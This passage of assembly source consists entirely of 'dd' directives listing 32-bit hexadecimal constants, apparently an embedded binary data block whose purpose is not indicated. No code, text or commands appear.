963FCE77h, 9EBD9C3Dh dd 781BA53h, 0E08C19D9h, 38BC3AECh, 0CC50805Fh, 25DB000Ch dd 0FE06D1F3h, 4E74A0C6h, 805EBD3Eh, 8739A18Ah, 0FCC4FE1h dd 0C89B58EAh, 90458147h, 0CD8B648Eh, 741C693Eh, 28C5400h dd 258D22FFh, 0F29F1D48h, 41C7C026h, 8A1E6266h, 3ABB8F38h dd 0AC180380h, 80B8C1FFh, 38A6586Ah, 0F98002C6h, 0B7A23350h dd 2D3819C7h, 0FAF309AEh, 6E9107AFh, 0DCC2A025h, 92EDE02Ch dd 13CE03CDh, 40ED6CD7h, 98E882E7h, 0B977D60h, 1E2B1F07h dd 1863D079h, 0BB17D8A9h, 4774F1h, 9386D9AEh, 0BF84C839h dd 0C6B95101h, 85E446BEh, 6A601082h, 49E5204h, 0DA0230Fh dd 635C806Bh, 0F219DE9h, 78BEEEC2h, 0CF774280h, 0E0B8FA6Dh dd 0DAD82B00h, 0F6E543F1h, 9AC20026h, 0D00D41FEh, 94006029h dd 0AE4BECABh, 0EAAA10h, 0DED7C076h, 0F5451D98h, 65BBC90Eh dd 2E40BE18h, 668914A0h, 0B1120061h, 8B88D07Eh, 53005EC5h dd 0BEEAAFDFh, 0FEAE1A79h, 0CA4000B6h, 0C76F299Fh, 50725B04h dd 13308A07h, 0C8E0DF92h, 366BD09h, 7641D8B8h, 56003B7Ch dd 8652122Ah, 67C3D1h, 0ED2C3283h, 0B81E736Ch, 0C401ADECh dd 642F9CA7h, 8CD44A2Bh, 9A040077h, 6F5D0C8Eh, 7CB898C6h dd 0E1901000h, 4EFCE4CAh, 65330061h, 6B31AB56h, 42740396h dd 5300D0B0h, 0A2802E3Ch, 633A33h, 8DEC23CEh, 0D781EA4Fh dd 0ACE64000h, 7AAF076Eh, 0FE250180h, 5218D955h, 1A6170A7h dd 7D293104h, 0C18237B5h, 8E60DF72h, 0CD1F6007h, 30803C33h dd 0A1F5D48Eh, 40A8006Ch, 5E91C79Bh, 0B300ABAFh, 5130C5Bh dd 0E24B4F6h, 7E6FDB28h, 0B8EA7660h, 9A009CCEh, 92F02758h dd 518C48h, 24DF83E3h, 0A38FA152h, 544B5900h, 580527D8h dd 31F10081h, 0A5CA6E8Eh, 0B9002073h, 6FC72535h, 0E38D0h dd 99340785h, 61BC6E1Ch, 96D35100h, 45373CB8h, 0C5FD0324h dd 1092C62Dh, 1AF65D90h, 6A67B600h, 15E8A5C4h, 6F9800FBh dd 403B2B54h, 7CF47F1Dh, 22A44Ch, 0CD6709B4h, 0EC7D08h dd 62ADF060h, 9B5E712Fh, 0B1F2CB00h, 9A6381D5h, 458005Dh dd 76784C60h, 0D0004705h, 44DABCDFh, 868C13h, 93653555h dd 168B2CB5h, 0FCA4B607h, 0CCC0F448h, 44F1FAh, 8C5B795h dd 20D8FDF2h, 0E7BCDB00h, 735D17Dh, 2B4C0F36h, 1740430Dh dd 0BE12B4C4h, 0F4F7AA07h, 46A05719h, 0BA8DF3F9h, 29210030h dd 6E769AA9h, 0D700D454h, 0AD2B06F2h, 91C889h, 2C453B3h dd 622FFFDAh, 7FF33C00h, 0BC92A497h, 931F1E84h, 0E680FB46h dd 859D301Ch, 90003EDAh, 0C6057B6Ch, 727709D8h, 0BA3001Ah dd 0BDE231FEh, 2600D379h, 3A8B6FABh, 4D24B221h, 420E0CE6h dd 0C240ADA7h, 0F6DA481Eh, 0C43CCB00h, 0D88B5EAFh, 1C987281h dd 43432B3Bh, 5F10D540h, 0C6FA2CB8h, 1F0C5A02h, 60D79749h dd 1F864D20h, 79A27689h, 681A8E00h, 85666D12h, 56B8B201h dd 6CFE0F7Ch, 2E11D1F4h, 0C1E338h, 0D32F82DFh, 9801803Ah dd 43D28726h, 70803341h, 94033034h, 1FE8081Bh, 1A01D600h dd 6102CE7Ch, 819E07FCh, 13831152h, 10A8F0BFh, 0EC002CBDh dd 6E33E119h, 9B770h, 667F30EBh, 99AED7D5h, 291ECE7Bh dd 854071B5h, 0B4DF3887h, 7054004Ch, 2E5DBF6h, 0BF00EE44h dd 580B1701h, 92A236h, 68C94EBh, 0DF49B4FCh, 0F8E20A02h dd 800BB5C6h, 76FBAE93h, 2EBD0078h, 0C3E40E4Eh, 301D2D8Dh dd 0F1C0CCA0h, 1B205BA1h, 682C0E95h, 0F4A03EC8h, 0DBF812AAh dd 8B214100h, 4B0B9137h dd 93D50B52h, 0AC804CC0h, 329EDD16h, 3295D05h, 0E4404928h dd 0E43984A4h, 0A1DA006Ch, 532ED402h, 3573EC06h, 8A7EC177h dd 60CC5900h, 6DB69E69h, 796C9818h, 0D809487Eh, 0FD0C8000h dd 0EE7DD35h, 0A08949h, 465D2BD8h, 6DB261h, 8227F6B9h dd 0B07E5ADFh, 0D6835900h, 428BD702h, 139A1D1Eh, 430500E9h dd 3BAD1D0Fh, 5FE838h, 7F909B91h, 0E7B8309h, 71524698h dd 47FB4020h, 0AA072D67h, 78223848h, 0AED66BA0h, 98DD4CA1h dd 2D808A39h, 0E4D7B96Ch, 6177634Dh, 7C6ABB00h, 8BC1D006h dd 251515F3h, 497488C3h, 6C03900Bh, 23217237h, 0DD4D84E0h dd 71CFAC1Fh, 279D289Ch, 95927081h, 409D56D8h, 9DD183DAh dd 9C03F0D0h, 21D5572Ch, 39CD984Dh, 716FAB5h, 2DEB609Ah dd 0B06C3241h, 0E994AC80h, 4773B152h, 33E40F24h, 0E02AB700h dd 8C2D4Dh, 88EF574Eh, 1A5B30EDh, 42DA2405h, 75C0A5E8h dd 513AEFBh, 744C616Bh, 8C00C192h, 6FDA4023h, 52001AD3h dd 0E7A05DEh, 6585EAh, 0FE4C1603h, 4F81BC1h, 1D183116h dd 7F4AE800h, 94EA5Eh, 0C1490CD1h, 78413265h, 0B3B6E3Eh dd 80CB9D0Fh, 9163A12h, 40C30338h, 36436B0Ch, 77A0809Ch dd 5D00017Fh, 0C8451E25h, 85E9C7h, 37DCF5B4h, 839D7376h dd 9502BDF0h, 0E0746222h, 0C0854207h, 2D0A124h, 5219E68Dh dd 9C60E523h, 960065B0h, 600642BBh, 359ABC2h, 4C7969AFh dd 3800F521h, 6D7FE661h, 19B93B4h, 0B7E80C1Ch, 87EF4380h dd 792FFA9Eh, 6ACFBFB1h, 50F46071h, 4CD7009Fh, 0FBC8F8F5h dd 8F1DAC1Bh, 743290Ch, 0D50B209Ah, 0C45B8C05h, 1D0474D1h dd 45F7C8h, 7FD11F51h, 744097DBh, 0A1425200h, 0C779B64h dd 6CC70047h, 739A7B3Ch, 0AB0F4914h, 60AE4FFBh, 1859BD8Bh dd 15B50040h, 0CF11D62h, 0BAEAE4FEh, 6E6B4700h, 0D9CD973Ch dd 0BB2E008Bh, 21C7DC8h, 40773EAAh, 0ABF4E700h, 41666A2Ah dd 20A10136h, 6E59A75Ah, 0B51BC41Dh, 65FE48h, 0CA8D45FCh dd 3B8748Bh, 0C860AB6Dh, 43A8CE3Ch, 0D7000683h, 1AEA50A6h dd 0A09452E3h, 0B1D3C4h, 487CC99h, 72E736E1h, 63ADEE00h dd 184315C1h, 64350132h, 0E5DFFC80h, 6F08F2h, 501FD22Bh dd 0F9049057h, 4C00F4FAh, 72879E66h, 4A409F5Fh, 5B3001A8h dd 806D580Dh, 2D629710h, 612EDBD1h, 969A2090h, 0E8D0F72Ch dd 1400BE7Ch, 54EF5E1Dh, 0DF184FFDh, 0F4B970h, 0FED4694Bh dd 0EB2965E3h, 0A4337900h, 18B0EA2Bh, 0D81C0066h, 0BEAE5291h dd 5D062A96h, 512E39CEh, 0A8380068h, 0B93BC8C1h, 0A20EA05Fh dd 41737AE7h, 0FF3E4AA9h, 12A1DED8h, 40B22A13h, 0BB792C04h dd 3700CA07h, 55F17CE3h, 0E2BFE4D2h, 6A6D00F7h, 30977954h dd 8049A8Ch, 0AE688B9h, 94876C80h, 48130086h, 0B437F04Eh dd 6E0FF561h, 0A0CA6C99h, 0A471DA15h, 3BB29859h, 6496A38Dh dd 735A03ECh, 56903F1Dh, 0B200029Bh, 249626E0h, 6C4466h dd 3ACE27E5h, 2EBF3EAh, 374793Ah, 0AC7DE4FAh, 0D639050h dd 0EECC0645h, 48295F81h, 2246E700h, 0C33747E9h, 0A81E0BFDh dd 7530D9h, 2CB9CFB6h, 34760EB6h, 26801AFCh, 6A64481Dh dd 734A7D00h, 1E619E8Dh, 0AB8306BFh, 581BB936h, 60168101h dd 74DC80E4h, 0C21D6F0h, 11DF933Eh, 33004E20h, 801629C8h dd 74816F4Ch, 90C400D2h, 92DF8CC3h, 6400D97Eh, 369B1346h dd 176278B7h, 0CC6E091h, 1FD01709h, 8C1C8700h, 0C1194A5Fh dd 0E783002Dh, 3E39CF82h, 0C574FD4Ch, 31085C03h, 908A3C72h dd 5E17B9C7h, 6B29C02Fh, 0E70085D4h, 0B767DAD7h, 0E706FA2h dd 0E1B9E228h, 392E7600h, 0D8F75E2Fh, 2403BBB3h, 0C37C782Dh dd 2FE85E6h, 0CD754AEEh, 0C08209Ch, 406BCF88h, 273CE0B5h dd 830E7C39h, 0D1D74861h, 0E15000CAh, 0C04D3F9Bh, 0A5307397h dd 0D6761984h, 0A2351DF3h, 0DD0E8071h, 934EC90Fh, 0B132400h dd 3CD945FBh, 6D83C31h, 40F2041Fh, 11AAE7Fh, 0C770A2C2h dd 54A0C460h, 706E8C7Ch, 0D030059Eh, 824428B1h, 1CE1A846h dd 6FA3F44Bh, 8F50C200h, 0A2DCEA1Eh, 680328C1h, 62261CA4h dd 8B587113h, 4065ED2Dh, 0EEFBB9A8h, 3A087601h, 60B8A07Ah dd 2C81B882h, 44024F36h, 6D7F4023h, 28FB02E2h, 0EE34040Ch dd 767280B0h, 406A1911h, 932523B0h, 1500B578h, 0BF305401h dd 14B4FD1Dh, 0AC26E9CDh, 0BD24CA00h, 6D9565EBh, 0C42CE800h dd 4FCD7ECEh, 0C9550074h, 1319F720h, 6E24ADE5h, 3B001441h dd 0B99A94BDh, 1171003Ah, 0C6421C12h, 0B0A0D60Eh, 0D8053772h dd 14BC6FD2h, 3A9F202Ch, 0C2C4CDh, 85EBD94Ah, 1794CAB8h dd 135AD08h, 253F7FB7h, 16D04013h, 0D590D16Bh, 0FB0F8690h dd 82E15DD5h, 8112DE17h, 0ED7DE9C8h, 53E8ECh, 3B689AB8h dd 0D50E6C42h, 64372805h, 0FC00772Bh, 1356A48Bh, 0DF9B00FCh dd 29CDA18Fh, 0A30C68D9h, 5067701Ah, 7DA23813h, 14FE9397h dd 0BA009653h, 57EA75FBh, 1800833Ah, 2F9CEFF1h, 0F2B674h dd 3FEB22FCh, 9BDF6B1h, 0A1921719h, 0C3F51AC1h, 3B580CD3h dd 20199A3Dh, 0B4313E00h, 0FE15A432h, 6F064063h, 2C790558h dd 8002C7Ch, 3A2BEAFCh, 9AEF0045h, 0ECE770A3h, 0E57652BCh dd 2DE0FCB0h, 58722E30h, 60E4FC67h, 18A048C1h, 0EE608E98h dd 0D04EEC28h, 561A002Eh, 6E0B0A73h, 2107EF71h, 674966CFh dd 0B74EE2D0h, 0DE68006Dh, 3314C4AAh, 0EA00F77Eh, 58569B6Fh dd 7382534h, 0CA1C37D0h, 9ABE00C8h, 0C900964Fh, 0EF4B5927h dd 3BB9F414h, 1006330Dh, 58E1AB6Fh, 0A7AE3601h, 9E5D57BDh dd 0E482E347h, 890D409Dh, 5690085h, 164D2009h, 1A0024A2h dd 0AEE53F32h, 90AFA7A3h, 0E4F0178h, 0C4224C34h, 491BF01Ch dd 91815Ch, 0CE8AAF6Eh, 1C6C0F18h, 56F9B3h, 0A26528ADh dd 4B000B5Bh, 69D9E343h, 0B78B5Dh, 2102F49Ah, 0B1804C25h dd 617C0900h, 0E40FCCFDh, 0F0DC00B2h, 96196013h, 0AF039F94h dd 0F5427E17h, 6DD3983Ah, 880A0065h, 0A94FF4CCh, 3C00B262h dd 4724B4C0h, 0FC2CB8Dh, 29846AA8h, 3E3F4D05h, 730E0004h dd 0FD24B7B5h, 761F0096h, 0F130C2F7h, 0CC7F06EAh, 52B8744Eh dd 0BD5CD40Ch, 4F0180E4h, 0DE6C2393h, 0ECD08CB1h, 0FDD203AEh dd 0C744202Dh, 65C05BD0h, 0B4519F00h, 9D91687Bh, 10433DAEh dd 4D499000h, 0B0F6A8EFh, 0CB125900h, 0C8D75F0Bh, 0B4C40096h dd 7D9E6082h, 1C0007D8h, 0DE4E4AA0h, 0FA6CB2h, 0C874BE9Ah dd 2F57097Eh, 9301CAF8h, 24D1C4D6h, 0BBC8B30Dh, 168F00BCh dd 0BE99B48Bh, 8000F122h, 72D07546h, 0EF88ECh, 5569CF71h dd 451F2F3Fh, 0C2E2E000h, 5CFCADD8h, 6BD600CBh, 14126121h dd 3F0F0CB7h, 602B8F01h, 5D3A3BB3h, 0F77B87Fh, 632AFDF3h dd 0F084C260h, 0A60F75D8h, 0C0F5ED4Ch, 8342E3C6h, 0E28200F1h dd 0EFC1D0D6h, 4100A46Dh, 0EB939DA1h, 1C44E30Eh, 0C5C9267Ch dd 0C08002B3h, 60787F32h, 7BB6EF0Ah, 1F00D884h, 0F03BF8AEh dd 7238005Ch, 0D1443EB7h, 151E29A8h, 870EBFCEh, 0EDCAA0ECh dd 0D6211C79h, 85730038h, 3AB71D8Fh, 0DDCEDF00h, 582A05A9h dd 7BAC0F60h, 4C80D6B1h, 35C028A6h, 693BE61Fh, 1C8ED054h dd 0E3400A9Dh, 0DC375534h, 0EF2C1F97h, 5A6B8070h, 0D64AC6Ah dd 0FA429B12h, 4E00E0ACh, 7D1DD99Ch, 0F200CE53h, 0E1E838A9h dd 7B071AC9h, 5F430FDEh, 407E1974h, 9AF4CAF1h, 4D03BC42h dd 0FC10488h, 56E4C8DAh dd 0DBF600B8h, 3B857841h, 0A73B7225h, 0B3E500BAh, 0E3E8FA0Ch dd 2EB00C13h, 0FCF0F021h, 4F2BBD0Fh, 7A8F0065h, 0BA68A7h dd 69CD2502h, 0B533F7Ch, 5200A575h, 57A47984h, 0BCA38Ch dd 2F077B4Ch, 4DAEB011h, 79B6ACA0h, 0FB564300h, 0C01965A6h dd 0FF1E006Ch, 63840B3Bh, 2020361h, 5CDDBA6Eh, 0CD524020h dd 69C20074h, 61223992h, 9800F18Ch, 49DE15DCh, 6AB63Eh dd 875DD45Eh, 3226E108h, 7244E800h, 1169E663h, 3F521ECCh dd 0B6754006h, 0CF39258Eh, 0DB26EE05h, 0C900CED0h, 715868Bh dd 23790037h, 0C5C91D91h, 4E01D8DAh, 3CEF82D3h, 89C03D2Ah dd 9D1A0070h, 0A456C9B1h, 310178EBh, 3E61C15Dh, 0A36054EDh dd 0BCFB0034h, 0FD977BC4h, 2490775Ch, 24C2A710h, 1CAE3009h dd 71B17087h, 0D8C4C6A2h, 4E00D2CEh, 15945049h, 9EC384h dd 172B185Ch, 230657FBh, 5121E600h, 9AF58214h, 0BFEC1C38h dd 5D6404B8h, 95B5E008h, 0FCF1E700h, 54BE5327h, 3B8A7B1Ch dd 7D1FDD49h, 0A9E4116h, 0E0696DBCh, 0A50386E2h, 5DB30CADh dd 0B162F01Ch, 0D92600ECh, 5433D823h, 7E01BBB4h, 0C1CB82A9h dd 0BECC2C76h, 0F7A31437h, 6900D252h, 255A0C7Ah, 6B00DF90h dd 0DD44F1AAh, 121B11h, 0BA483F27h, 0E56707F8h, 8D9EC600h dd 30A263A9h, 0CE27096Ah, 6103D992h, 0BA991365h, 42ADE4D3h dd 0EF507C02h, 41F396C9h, 59603D08h, 9C0801F5h, 89E9831Fh dd 34AFE4B4h, 1105487Ch, 9546A67Eh, 0E8F3F380h, 67C8014Dh dd 29B8EA66h, 9C3B20F7h, 0A1DD030Fh, 525D40D2h, 3733E70h dd 0BF3FD0A4h, 46F0BAEEh, 0E5004741h, 0AE54F60Eh, 1B202D5h dd 0F1BC5BB9h, 0E45D4DDBh, 6C702197h, 0B3438200h, 0F7D89011h dd 7CF80045h, 9610A25Dh, 1A00A6DDh, 17BCF32Ch, 0E856E3h dd 8735061Fh, 4ED56657h, 0B56BF212h, 0B3151007h, 0D15414E0h dd 7A763DC0h, 662C6A80h, 40B11E9Ch, 0E8B9D001h, 7EDDECC6h dd 5E442080h, 0A0711425h, 30684B0Fh, 95A48074h, 3EDFF5CEh dd 3F000EE1h, 9DAAFB82h, 5DE62AFAh, 0A3E57C00h, 8D165A21h dd 94530725h, 0D320EC98h, 769B1FAEh, 0F45033C1h, 770FCD89h dd 401CC294h, 7AEC81AAh, 0A028C093h, 3B27D031h, 0BC03C398h dd 9912057Fh, 0D8F3DBCFh, 48E0981Fh, 210F5976h, 5AE08E31h dd 6BA59524h, 0DE606100h, 3BE0EA84h, 3EA6E2CEh, 70078B58h dd 8FAE5A80h, 0EBAFDBA0h, 4103631Eh, 0C4A2F44Bh, 0DF0DA122h dd 1084FCh, 6175ADD0h, 5991EC6Dh, 8BAD902h, 0F73957AFh dd 0EE76B160h, 0FA5C8D00h, 6FA0F4CBh, 914900C1h, 3F86E789h dd 3A0044C9h, 0D94B5105h, 904ECD85h, 0D9205C5Ch, 78808F3Fh dd 0B8BCD63Dh, 790FFF34h, 0AED790h, 0CAC31059h, 0D51B0304h dd 0D9F56488h, 7633909Fh, 0EA00A88Bh, 0AA352517h, 70280Eh dd 3C079FDBh, 0DF81A501h, 4BBB0601h, 0BEB33264h, 1CA75DC4h dd 5DC7C284h, 5FD0DCB1h, 0D3AA81D6h, 0D0A0C808h, 2B00BEE0h dd 8A04B0CEh, 475949h, 77E9E34Ch, 0CDE6D92Fh, 19A04000h dd 7610BF68h, 0F1870157h, 2FEA5AEFh, 0C44FDC84h, 3E22D800h dd 0FDF7E072h, 0B6A0BBEh, 70A0B81Fh, 50D8EDC3h, 1A00717Dh dd 3B8F6D64h, 0E2EB5Ah, 2021DD87h, 32C790BAh, 1A42E700h dd 4158F7D1h, 0AFED00CBh, 6F1DD08Fh, 0FF0F1847h, 0B5B296h dd 0C92E3F83h, 0A5B80AB1h, 17084C4Eh, 90F10610h, 0E2008183h dd 0CD34EFCFh, 74C7FAADh, 0B1EC005Eh, 9125D806h, 8207AEA8h dd 0BC8758A2h, 0B219A5E1h, 44B798E3h, 0A19100A7h, 7D7382DCh dd 0E019045h, 15DE17Eh, 0CAF0C457h, 728DE224h, 0C6925C26h dd 9A0BC101h, 0E447EF77h, 0E900AD51h, 913B11E6h, 3DACBDB1h dd 0D6877566h, 0E33F4D46h, 80ECF784h, 0EBE534E0h, 8961F901h dd 0F65413ADh, 0E2901F7h, 85BC84D8h, 0A2A4E40Fh, 39335701h dd 0FCAEBB7Ah, 8AA9FCh, 0E651FE55h, 8899B2Fh, 380108B0h dd 0D4CDB776h, 0C03083E4h, 48DA7152h, 6E002F3Ch, 0EF66997Bh dd 0DF2F52Dh, 85316500h, 0ED347E1Ch, 5F0F0007h, 4326E4Eh dd 56745D30h, 36ADE30Bh, 77EAC295h, 0F88B9D40h, 0ED285700h dd 0A1462794h, 0AE2600DFh, 0B7D43E30h, 0CA12CBAFh, 2F00E32Eh dd 0BB01EABCh, 847143Ah, 6D12D8AEh, 0E9620067h, 0E42A2EF4h dd 5D88C200h, 0F631969Ch, 15AB0095h, 0C7BA67A0h, 983F72CEh dd 4EE8029h, 0AB2C0ACFh, 0A8F71F64h, 0F95700F0h, 0A959AFA6h dd 629C1413h, 80B6E44Eh, 0E3ACDB2Ch, 401E09BFh, 1100AB83h dd 4F1A416Ch, 383FAA00h, 0ACE2924Ch, 2C1B2C34h, 3082C09h dd 0C9CAAF29h, 0A04D4C80h, 1A3D6C0Ch, 0DD10B3h, 57F4A875h dd 74E05997h, 871F0200h, 0AD85A6DAh, 4BA10E6Dh, 0CAC0E577h dd 21AEAA0Ch, 305B7A30h, 8F467C0h, 0BCB6A722h, 186858CCh dd 3074A2AAh, 590A9CDCh, 2C5F2B20h, 884552C1h, 0E9E02916h dd 0EC19A075h, 4008CA12h, 2C21305Dh, 3601C0Ch, 0A7F8D7E8h dd 2CA5DE3Ch, 0D426A64h, 0C6403960h, 0CC3053FEh, 0E2C740D1h dd 2338ACBDh, 0A0859398h, 3060A15Fh, 0FD37F2B2h, 5004800Ch dd 1E7EF8Ch, 0A1279C83h, 9C4F29DAh, 34795814h, 0EF64E0C3h dd 98844042h, 46EEEA70h, 0FDC0000Ch, 0D367EF48h, 4330ACA6h dd 0AAB91438h, 8CAF14CCh, 1160A618h, 6E3758DAh, 431D0031h dd 508587EFh, 14B298E3h, 0D4E729FDh, 603861F4h, 27EFF0E9h dd 240A8C26h, 1640A91Ah, 0D280C2BCh, 40300CEDh, 0EF980A52h dd 8DFCC7h, 514E1407h, 0B40FF10Ch, 0D420A724h, 0F708E048h dd 0A7443A2h, 8092E5A0h, 31EC7CABh, 76012080h, 3060B23Ah dd 33E709A7h, 3B10C0CDh, 26278422h, 7FA81765h, 28009414h dd 24898A8h, 98716804h, 36E01956h, 410348B8h, 5010479Ch dd 53F95AC0h, 5CD20C24h, 2F9E093Eh, 0B07C151Fh, 41A5C059h dd 0FAC7240Ah, 0D30AA499h, 2438CC61h, 4C73A0FCh, 5040ADA0h dd 20E1488Ah, 80F77218h, 0A0C948C7h, 24F4162Ch, 222455E2h dd 608FE01Ch, 7BEB305Fh, 835239D1h, 54E8CED8h, 12F4D438h dd 182C2EE9h, 20900CFFh, 6811805Eh, 6A8AC109h, 60588F53h dd 0EC1E6294h, 10CE48D2h, 0A574FB39h, 540680C4h, 0ABEFF746h dd 3A87C0A0h, 638F557h, 9286AB26h, 0DBC01661h, 808010D7h dd 0F4A90CA3h, 2816EB2Ah, 0EA0A7120h, 37E060C6h, 0DC64EA7Eh dd 0DE450028h, 0E0D0E6B1h, 0C8A526E8h, 0B2B8A03h, 8994FA91h dd 1E55E8Ch, 0F1D9067h, 0D84BC42Ch, 7695461Dh, 5683202Bh dd 1CE81E0Bh, 83214071h, 225BA70Dh, 0F62F27A1h, 88789CE0h dd 786CD857h, 47D6D909h, 8EA4209Ah, 856C19A8h, 89FCD701h dd 0C4505E2Ah, 141A333Bh, 18A2BC2Ch, 0A88613A0h, 0D8E99D30h dd 0E0794EE0h, 55F50B8Ch, 0AA562C0Ch, 0A0A0CC14h, 32144D9Bh dd 0C038D57Eh, 6C1040D7h, 0C572B0Ah, 0F5598718h, 0F35CE2A7h dd 75E5CC82h, 74308CC2h, 8E075551h, 52CB451Ah, 5830F805h dd 235871h, 52C8FF95h, 0D861460h, 1A644712h, 569C838h dd 0DF0F7675h, 9BC1CFDh, 58960D34h, 283B1406h, 928CCC5h dd 22E0FFA0h, 0F802B016h, 1ED059DCh, 8FB081FCh, 285C1A43h dd 35D00C32h, 0E0C84453h, 0D4F0A02h, 0C1D6C587h, 0C7F468E4h dd 0B930246h, 0B25C471Ah, 53E8D040h, 0B647A6F8h, 3967D907h dd 0DA0AA5Dh, 214803C0h, 0E7088424h, 9C800DD7h, 13F8F18Bh dd 16A74F67h, 20042830h, 0F00DA23Bh, 0ECCFE8DDh, 72B01087h dd 9DF21816h, 0C50970DCh dd 2E54011Eh, 0A862F50Ch, 616C73C1h, 60A050FEh, 0DEE1DC5Eh dd 38472662h, 5E8CDB1Ch, 48408926h, 2C13204Ah, 8E503CF2h dd 0D430CAFCh, 7EA090A4h, 273E0448h, 0CB0D155Fh, 98CD3918h dd 80913ABFh, 18E34C5Fh, 3BF49E0h, 58980F30h, 1F0E2AE0h dd 83358721h, 8E730729h, 0C9A42CA5h, 0A0B2753Dh, 55C014E6h dd 0B71DC8BAh, 0AAAC0074h, 828C7243h, 26B9E601h, 0FC7FFB6Ah dd 9EDEC8h, 8DA68BC3h, 5DB568ABh, 0DBF34C1Dh, 0C3CAEC1Bh dd 0B829F8CCh, 0B76A1FACh, 0E8340C62h, 306F218h, 2EE54C30h dd 0FCD02930h, 81F10230h, 0CEE067BAh, 1D018B8Dh, 16AC5795h dd 60D023E7h, 3C0CE8FEh, 4C0C3A89h, 8A0811B3h, 87520D1Ch dd 0E7369741h, 47D0D51Fh, 78A864C6h, 61CAF03h, 18F7803Eh dd 0B8F87ED8h, 56A8079Ch, 43A9E76Ch, 3074C08Ch, 0A0289E31h dd 109F2450h, 74BC3EBh, 6CE0D592h, 9F156ABDh, 0CF903D67h dd 573042E9h, 4EB0184h, 493400DAh, 0D2E5E955h, 0AE0EC080h dd 0A43A0787h, 0B81F7B77h, 4F245D2Bh, 116C3030h, 28AC1456h dd 24803005h, 985F9B5Ch, 0CB8DA90Ah, 0CC04C09Dh, 0FF0699C9h dd 0C703A07Ah, 87AC2B94h, 0A0087BA7h, 3AFE4CA0h, 69302CA6h dd 4D85CCE0h, 13BCF4A0h, 0C56C4E1Dh, 0FC8740CAh, 14B73950h dd 0CCC9AD52h, 46BB2B00h, 0D485AC55h, 652C5D07h, 6C4E57F7h dd 651E10EDh, 71D7D071h, 0C44D72F0h, 0B80DCACh, 58EB0AC9h dd 5902A2Ch, 7181EECh, 0CFEF4CB8h, 50C0EE06h, 6CE88A61h dd 0E401D454h, 1860943Eh, 0FCCC0CB0h, 500E08C2h, 0E5EAA01Fh dd 662DACF0h, 0A08030F3h, 71ACC00h, 4BF02C4Eh, 0C00C30B8h dd 2704C60h, 2445E1F9h, 0F107A254h, 8EA68DE5h, 0B460CD40h dd 462D1DFBh, 441E3C02h, 866D0607h, 0B32808BDh, 8C63A06Bh dd 0FB7AD18h, 62F13109h, 0B801D363h, 4E2085F8h, 10C6EDF0h dd 3F08E9ACh, 62837E4Ch, 4F49D46Ch, 111F5CA3h, 6436BF3h dd 0A1BBD39Ah, 0A6D0A4F5h, 681F0094h, 0D46AC87h, 8D032DCDh dd 0B6076690h, 5934A0BBh, 6D4D3BA1h, 320DAD86h, 9200409Fh dd 0D86768B6h, 3C2769C2h, 3C74B84Dh, 0FA03CB8Eh, 5BEBEEF9h dd 0D0C01CA1h, 7BE86EE3h, 0C8624F07h, 0EB9003BBh, 0E9D05F3Bh dd 0F0E479E0h, 46691FDBh, 5BAD00C9h, 29609BC8h, 3ECC8B80h dd 0C1BC7009h, 88A8037Ch, 30E050DDh, 446AB0C7h, 2502F03Dh dd 151BC959h, 0DB80096Bh, 3AAFBBC0h, 0FC2908C5h, 11899BC1h dd 6CEFBF0h, 0F15BC6A2h, 1C4018B5h, 2EFD34BBh, 20B286B0h dd 0EF174579h, 1E1DC9D0h, 1856E607h, 0C0DB1AF3h, 0F8C83CB0h dd 0F061F250h, 0A56A3990h, 0FA0D000h, 1208706Dh, 0C7991601h dd 78F9185Ch, 7DC419F5h, 1BFA015Ah, 0BBF513B5h, 110BA6Eh dd 0AF94F95Dh, 9BE12799h, 1DEB4AE8h, 4F0E70h, 0FF864D0h dd 0C2606B3Bh, 561FA340h, 32E0771h, 0B00DAB1Ch, 5169A541h dd 1B3C2A0Ch, 7D322821h, 0AFDB184Dh, 38860825h, 0F8E73780h dd 6061033Bh, 810D7BF5h, 4F621800h, 0D118BBFFh, 319B1F55h dd 9F5B0619h, 1329823h, 83CA280Bh, 78E51BF8h, 3FFEB30h dd 98E78610h, 40C7CF1Ah, 0DDFC7B3Ah, 9488B001h, 0CA499BEBh dd 891CF041h, 0F12AC841h, 288060F3h, 0D125FDD0h, 0E3DE101Ah dd 0FFD78150h, 70805EFBh, 9986903Bh, 0E266893Ah, 12186910h dd 362929Bh, 0C8668414h, 244018E2h, 0E466997Bh, 6A13F60h dd 0FBC83D5Ah, 0CC00318Ah, 56B0D111h, 6650099Dh, 9DB409Fh dd 8CD44AA1h, 8FE8548h, 0C0F26234h, 20407135h, 4890060Ah dd 0C940BB03h, 0A04A7E9Bh, 90D742FBh, 0AF3C020Ch, 0D6D1D919h dd 0F76B1C40h, 7B482C90h, 5100A24h, 9000A865h, 0ED9B0FF9h dd 4ECACFDh, 73400D7Ch, 4F401E58h, 501BF40Fh, 0F0DD05F7h dd 70FAE885h, 0EA925A1Ch, 360096ECh, 9D5BFC2Ah, 767BFAh dd 0A3F0E7FEh, 0BBEF9586h, 14304B48h, 87201E46h, 2F00636Fh dd 142A351Fh, 3411F7DCh, 0B26764A0h, 286C1631h, 60213FBCh dd 7587520h, 6EB13BF5h, 0C68742F4h, 38912440h, 0C4247D80h dd 872DAF08h, 38F81654h, 385648h, 0F515EDBBh, 12F07B9Bh dd 66D7A98h, 60795B48h, 0E8411B28h, 4C92A2F0h, 82778300h dd 99872BDAh, 924C039Ah, 9C6BDB55h, 0FF760801h, 4D80FA98h dd 935D508Ch, 3D717140h, 31BE1013h, 0F5E40404h, 0CED5880h dd 9E901DD1h, 0C3D00407h, 2358C3CEh, 1BA9012h, 0F2FB3C03h dd 670802E3h, 0FEFA998Bh, 13D28469h, 7BC8E8E4h, 70654044h dd 1A3A88CDh, 18EE509Ah, 3D299400h, 44902C50h, 1BE97002h dd 4873F0D1h, 983FF1A0h, 58CD4878h, 56825000h, 5EC6BBC9h dd 4A037BE8h, 6D5BF5F1h, 7EDBE155h, 8E9B0886h, 0B64C5831h dd 0FFD018A8h, 98199048h, 7C40F0A0h, 9A43F0C6h, 467632A4h dd 78408438h, 0C364BCBBh, 0A4D07908h, 13D31B8Eh, 5BEC70h dd 7F052788h, 8C9A1130h, 78129F3Ah, 0EFF39206h, 1B08C550h dd 10F55990h, 4000119Bh, 107F33A7h, 0F185477h, 0EFCFD2D9h dd 0A8A7E209h, 4049942h, 0DB1C815Fh, 7B60308Bh, 0E809846Eh dd 886509DCh, 0B6941C02h, 0D3A3A040h, 0CD3D3490h, 747B8C82h dd 40DC282Ch, 881C0A30h, 0D48C5B0Fh, 3F31D8F3h, 0B8837BDEh dd 0E7139BF0h, 6E8B1001h, 0CBCC70EAh, 0C954BA00h, 49B5B12h dd 0EA7A8060h, 